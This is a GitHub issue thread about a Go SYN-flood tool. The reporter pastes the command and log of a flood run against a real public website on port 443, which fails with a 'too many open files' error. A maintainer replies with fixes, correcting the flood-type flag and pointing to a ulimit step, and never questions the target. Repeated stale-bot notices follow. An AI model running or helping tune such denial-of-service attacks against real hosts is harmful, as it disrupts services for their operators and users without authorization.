too many open files
k2name opened this issue · 5 comments
sudo ./syn-flood --host redtube.com --port 443 --floodType syn-flood
2022/08/05 12:17:20 maxprocs: Leaving GOMAXPROCS=8: CPU quota undefined
__ _ _
___ _ _ _ __ / | | | ___ ___ __| |
/ | | | | | | ' \ _____ | | | | / _ \ / _ \ / ` |
_ \ | || | | | | | || | | | | | () | | () | | (| |
|/ _, | || || || |_| _/ _/ _,|
|_/
GoVersion: go1.18.4
GOOS: linux
GOARCH: amd64
NumCPU: 8
GOPATH:
GOROOT: /usr/lib/go
Compiler: gc
ENV:
Now: Friday, 5 Aug 2022
BannerGeneratedAt: https://devops.datenkollektiv.de/banner.txt/index.html
2022/08/05 12:17:20 redtube.com is a DNS record, making DNS lookup
2022/08/05 12:17:20 dns lookup succeeded, found 66.254.114.238 for redtube.com
⠋ Flood is in progress, target=66.254.114.238:443, floodType=syn-flood, payloadLength=1400 (507 kB, 5.699 MB/s) 2022/08/05 12:17:20 an error occured on flooding process: listen ip4:tcp 0.0.0.0: socket: too many open files
@k2name sorry for the late answer, i will check it out this week!
It is not related with the real problem but, your --floodType parameter is wrong, you can only pass syn, ack or synack.
By the way, just for checking, did you run ulimit command in Prerequisites section?
This bot triages issues and PRs according to the following rules: - After 60d of inactivity, lifecycle/stale is applied. - After 30d of inactivity since lifecycle/stale was applied, lifecycle/rotten is applied and the issue is closed. You can: - Make a comment to remove the stale label and show your support. The 60 days reset. - If an issue has lifecycle/rotten and is closed, comment and ask maintainers if they'd be interseted in reopening
This bot triages issues and PRs according to the following rules: - After 180d of inactivity, lifecycle/stale is applied. - After 90d of inactivity since lifecycle/stale was applied, lifecycle/rotten is applied and the issue is closed. You can: - Make a comment to remove the stale label and show your support. The 180d days reset. - If an issue has lifecycle/rotten and is closed, comment and ask maintainers if they'd be interseted in reopening
This bot triages issues and PRs according to the following rules: - After 180d of inactivity, lifecycle/stale is applied. - After 90d of inactivity since lifecycle/stale was applied, lifecycle/rotten is applied and the issue is closed. You can: - Make a comment to remove the stale label and show your support. The 180d days reset. - If an issue has lifecycle/rotten and is closed, comment and ask maintainers if they'd be interseted in reopening
This bot triages issues and PRs according to the following rules: - After 180d of inactivity, lifecycle/stale is applied. - After 90d of inactivity since lifecycle/stale was applied, lifecycle/rotten is applied and the issue is closed. You can: - Make a comment to remove the stale label and show your support. The 180d days reset. - If an issue has lifecycle/rotten and is closed, comment and ask maintainers if they'd be interseted in reopening